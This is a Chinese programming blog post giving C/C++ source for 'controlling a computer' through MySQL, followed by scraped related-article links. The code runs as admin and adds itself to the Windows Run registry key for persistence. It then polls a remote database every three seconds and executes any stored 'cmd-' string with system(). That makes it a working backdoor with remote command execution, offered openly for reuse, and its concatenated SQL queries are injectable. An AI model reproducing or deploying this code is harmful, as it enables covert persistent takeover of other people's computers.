c 读取mysql 并显示_c/c++ mysql读取操作实现简单操控电脑
演示视频:
大致步骤就是:
软件打开后查询本程序是否已经写入开机自启动了, 有就不写启动 没有的话就写开机启动.
创建一个线程
在线程里边 执行mysql读写操作 具体看代码把 虽然写的不咋地 毕竟新手嘛
有很多bug 大致还是能运行的嘿嘿0.0 技术交流请在网页底部点击加入交流群!
下面我贴出代码 :
环境VS2013
#include
#include
#include
#include
#include
using namespace std;//名称空间
/*---------------------------------------------------------------------------*/
DWORD WINAPI ThreadProc(LPVOID lpParam);
/*---------------------------------------------------------------------------*/
string getTime();//获取现行时间
string Gethost();//获取计算机名
/*---------------------------------------------------------------------------*/
bool z = true;
MYSQL myData;
MYSQL_RES *mysql_res;// mysql结果集
MYSQL_ROW mysql_row;// mysql行操作符
int res;
/*---------------------------------------------------------------------------*/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevstance, PSTR SzCmdLine, int nCmdShow)
{
if (!IsUserAnAdmin())
{
MessageBox(NULL, "请以管理员身份运行!", "erro", MB_ICONASTERISK | MB_OK);
return 0;
}
//检测本程序启动项是否存在不存在则创建存在则啥都不干!
HKEY hKEY;
//访问注册表,hHEY则保存此函数所打开的句柄
LONG lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_QUERY_VALUE | KEY_WOW64_64KEY, &hKEY);//打开成功返回0
if (lResult)
{
MessageBox(NULL,"Open the failure!!","erro",MB_OK);
return 0;
}
//RUN项下的Citext数值
TCHAR owner_Get[256] = {0};
DWORD dwBuffer = sizeof(owner_Get);
lResult = RegQueryValueEx(hKEY, "Citext", NULL, 0, (BYTE*)owner_Get, &dwBuffer);//查询到就会返回0
if (lResult)//如果是1那当然是没有了所以执行写开机启动项操作
{
//MessageBox(NULL, "查询的键不存在!", "提示", MB_OK);
RegCloseKey(hKEY);//先关闭上次查询所使用到的注册表,以免发生不可知错误
//获取本程序路径保存在a这个变量里面
char a[MAX_PATH];
GetModuleFileNameA(NULL, a, MAX_PATH);
//MessageBox(NULL, a, "", MB_OK);
//然后把本程序路径写到RUN项下
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKEY) == 0)
{
//打开注册表成功!
if (!RegSetValueExA(hKEY, "Citext", 0, REG_SZ, (LPBYTE)&a, sizeof(a)) == 0)//设置启动项命令
{
MessageBox(NULL, "Write failure!", "erro", MB_OK);//失败
}
}
RegCloseKey(hKEY);//关闭注册表
}
//下面创建线程
HANDLE hThread;
DWORD dwThreadId;
hThread = CreateThread(NULL, NULL, ThreadProc, NULL, 0, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);//当指定的对象处于有信号状态或者等待时间结束的状态时,此函数返回。
CloseHandle(hThread);//关闭线程句柄
return 0;
}
int rsql(string sql)
{
mysql_init(&myData);//初始化mysql
if (!mysql_real_connect(&myData, "你自己的数据库地址", "用户名", "密码", "数据库名称", MYSQL_PORT, NULL, 0))
{
MessageBox(NULL, mysql_error(&myData), "erro", MB_OK);
z = false;
}
mysql_query(&myData, "set names gb2312");
res = mysql_query(&myData, sql.c_str());
if (res)
{
return 0;
mysql_close(&myData);
}
return 1;
}
//向mysql写入数据线程
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
rsql("insert into server(host) values('" + Gethost() + "')");//向host插入主机
while (z)
{
Sleep(3000);
rsql("UPDATE server SET time = '" + getTime() + "' WHERE host = '" + Gethost() + "'");//更新指定主机的time
mysql_query(&myData, "select * from server");
mysql_res = mysql_store_result(&myData);
while ((mysql_row = mysql_fetch_row(mysql_res)))//每一次mysql_fetch_row()都获得当前行数据库,并赋值给数组row,然后自动滑向下一行;在取出最后一行后,函数将返回false,循环结束。就可以把结果集中的所有数据逐行取出并显示。
{
for (unsigned t = 0; t < mysql_num_fields(mysql_res); t++)//mysql_num_fields()取数据表中的字段数
{
OutputDebugString(mysql_row[t]);//调试输出
OutputDebugString("\n");//调试输出
if (strstr(mysql_row[t], Gethost().c_str()))
{
if (strstr((LPCSTR)mysql_row[t + 2], "cmd-"))
{
string data = (LPCSTR)mysql_row[t + 2];
string cmd = data.substr(4, data.length() - 4);
system(cmd.c_str());
}
}
}
}
mysql_free_result(mysql_res);
mysql_close(&myData);
}
return 0;
}
//Get计算机名称
string Gethost()
{
char szBuffer[MAX_PATH];
DWORD dwNameLen;
dwNameLen = MAX_PATH;
if (GetComputerName(szBuffer, &dwNameLen))
{
return szBuffer;
}
return "错误";
}
// Get Time
string getTime()
{
time_t timep;
time(&timep);
char tmp[64];
strftime(tmp, sizeof(tmp), "%Y-%m-%d %H:%M:%S", localtime(&timep));
return tmp;
}
下面是我数据库中的表配置图片 你的表和数据库也要设置好哦 我的数据表名称是server
数据字段名
c 读取mysql 并显示_c/c++ mysql读取操作实现简单操控电脑相关推荐
- mysql as tmp,启动mysql时显示:/tmp/mysql.sock 不存在的解决办法
启动mysql时显示:/tmp/mysql.sock 不存在的解决方法 启动mysql时显示:/tmp/mysql.sock 不存在的解决方法 启动mysql时报错的解决(mysql 5.0.45 r ...
- 启动mysql时显示:/tmp/mysql.sock 不存在的解决方法
启动mysql时显示:/tmp/mysql.sock 不存在的解决方法 参考文章: (1)启动mysql时显示:/tmp/mysql.sock 不存在的解决方法 (2)https://www.cnbl ...
- MySQL查询时记录行号rownum MySQL查询显示行号MySQL查询显示行号MySQL流水号自MySQL自增行号
MySQL查询时记录行号rownum MySQL查询显示行号MySQL查询显示行号MySQL流水号自MySQL自增行号 一.前言 Oracle中有rownum,实现查询的时候记录行号,MySQL中没有 ...
- c 怎么连接mysql博客_C连接MySql数据库
我用的是dev-c++ 4.9.9.2 with Mingw/GCC 3.4.2加C语言连接mySQL 如果使用的是msvc的编译器,那么使用的libmysql.lib是没问题的,但是如果使用的是mi ...
- c mysql 连接实例_c连接mysql数据库实例
c连接mysql数据库实例 连接数据库test 用户名root密码abc 在里面有一个username的表,describe username结果如下 mysql>; describe user ...
- c# 向mysql插入数据_C#连接mysql数据库 及向表中插入数据的方法
mysql 语句操作: 创建数据库:create database hotelATMDb; use hotelATMDb; C#连接mysql 1.引用 dll MySql.Data.dll 下载地址 ...
- c# mysql 批量导入_C#:MySql批量数量导入
现在对数据库(以MySql为例)的操作大多会封装成一个类,如下例所示: namespace TESTDATABASE { public enum DBStatusCode { ALL_OK, MySq ...
- mysql随机显示记录_MySQL随机读取表中记录
order by rand()来实现 select * from table order by rand(); 内存临时表 order by rand() 是一般通过内存临时表排序,可以通过执行计划e ...
- C#返回mysql查询结果_c#查询MySQL是怎么接收返回结果的
刚找了个例子,是下面的代码片段.来自 http://blog.csdn.net/u010580422/article/details/45851237 关于最后两行代码有点问题 1.fill 函数似乎 ...
最新文章
- jquery autocomplete demo
- error 系统错误 错误码10007_为什么阿里巴巴禁止工程师直接使用日志系统( Log4j 、Logback )中的 API...
- mysqladmin mysql,mysql,mysqladmin,mysqld之间的区别
- 给 SAP BTP 创建的 Java 应用添加 Custom Event Handler 支持创建功能
- 外卖红包深度研究报告:千亿市场下的公号私域
- 妙用Python集合求解啤酒问题(携程2016笔试题)
- iostream stdlib fstream io.h 头文件的作用
- python c/s模式下的内存监控模拟代码
- 连接mysql的各种方式
- matlab 求反余弦,matlab中反余弦函数
- ArcGIS投影坐标系xy转地理坐标系经纬度
- 怎么批量查询银行卡号是哪个银行?
- 鲲鹏920是计算机CPU吗,华为鲲鹏920
- CSDN 第六期编程竞赛做题记录
- 据说,这四招能提高你的打字速度 快来试试
- 三菱 FX5U PLC结构化4轴伺服机器人程序
- 【c语言】进阶篇学习笔记
- Istio Security - Istio安全框架
- 《诗水人间优秀博客》摘选目录
- 根据ip查服务器信息,根据IP查询云服务器
热门文章
- 占据语音入口?苹果或将在2020年WWDC上推出SiriOS
- 为什么现在越来越多的人不愿换新机?最后一个原因扎心了
- 真安卓机皇!华为P30 Pro包揽《智能硬件质量报告》多项大奖
- 成立烘焙公司、买茶饮 瑞幸咖啡谋变破局
- 唏嘘!一代国产手机巨头走向终点:官网已无法访问
- c语言文件操作函数(未完待续)
- shell 12 21 filename重定向的含义和区别
- c语言怎么把字符型数字变成整型数字,怎么把数字变成字符型
- 计算机网络实验二抓包协议分析,计算机网络实验-使用Wireshark分析TCP和UDP协议...
- 【算法】剑指 Offer 45. 把数组排成最小的数 【重刷】